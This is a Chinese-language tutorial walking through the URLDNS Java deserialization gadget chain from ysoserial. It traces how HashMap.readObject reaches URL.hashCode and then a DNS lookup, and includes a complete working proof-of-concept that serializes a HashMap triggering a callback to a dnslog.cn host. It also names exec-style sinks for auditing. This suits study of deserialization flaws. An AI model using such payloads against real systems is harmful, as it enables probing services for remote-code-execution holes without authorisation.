URLDNS反序列化链
关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。
但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar
中最简单的URLDNSgadget来学习一下反序列化的流程。
此次利用的URL.class是jdk自带的,无需依赖第三方。整条利用链相对简单,适合新手练手
根据ysoserial类的poc,下面自行改编
先上图为敬,如下效果图
序列化类
反序列化类
执行反序列化类里面的main方法,如下图,可以看到dnslog已经接收到了请求
接下来开始分析这条链是怎么走的
代码中最重要的三个类是HashMap,URL,URLStreamHandler。其中HashMap重写了readObject方法,URL类是里面有个hashCode()方法被HashMap的readObject()调用了,URLStreamHandler类是里面的getHostAddress被URL类里面的hashCode()方法调用了。这样形成了一条调用链HashMap.readObject()--->HashMap.putVal()--->HashMap.hash()--->URL.hashCode()
继续往下看,for循环里面把map的key和value都反序列化了,最后进到了putVal方法里面
我们跟进hash(key)方法,可以看到传入了一个Object类型的key,如果key为空,返回0,不为空的话进入key.hashCode()方法
此时我们需要注意了,上图中的hash方法传入的是Object类型的,那么如果我们传入的是URL类呢?我们看下URL类有没有hashCode()方法,如果有的话,则能继续下一步,继续根据key.hashCode()方法
上图说hashCode != -1,则直接返回hashCode,而该URL类的hashCode值被默认定义成了-1。如果等于-1,则继续往下走,我们继续看hashCode(this)方法
此刻已经分析完了整条链的调用过程,接下来就是写poc来实现了
package com.zyp.test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsSerializeTest {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("serialize.bin"));
oos.writeObject(obj);
}
public static Object unSerialize(File file) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(file));
Object o = ois.readObject();
return o;
}
public static void main(String[] args) throws Exception {
HashMap<Object,Object> hashMap=new HashMap<>();
URL url=new URL("http://serialize.zxz7y3.dnslog.cn");
//为了下面的put方法不执行URL类里面的getHostAddress方法,使用反射技术获取URL类的属性hashCode,并改变其原有值
Class c= url.getClass();
//获取使用属性hashCode
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
//此处hashCode改为111,目的就是为了不进getHostAddress方法
hashCode.set(url,111);
hashMap.put(url,1);
//hashMap执行完URL类的hashCode()后,通过反射,把URL类的hashCode值设置为-1,在反序列化时进入getHostAddress方法
hashCode.set(url,-1);
serialize(hashMap);
File file=new File("serialize.bin");
unSerialize(file);
}
}
突然发现一个问题,HashMap的put方法也调用了putVal()
那我们进行序列化时,应该就会有dns请求,的确如果不做其他处理,在序列化时,就会有dns请求。所以看poc,在put之前就通过反射改变了hashCode的值。使其不等于-1,这样就不会进入到getHostAddress方法
审计思路
需要满足以下条件
1、如果是Java原生类,则需要入口类有readObject方法,同时实现了序列化接口
2、需要有最终的执行函数(可以执行代码或者命令),比如getRuntime.exec,getHostAddress.....等等,这些函 数需要自己平常去收集,这样审计起来会更得心应手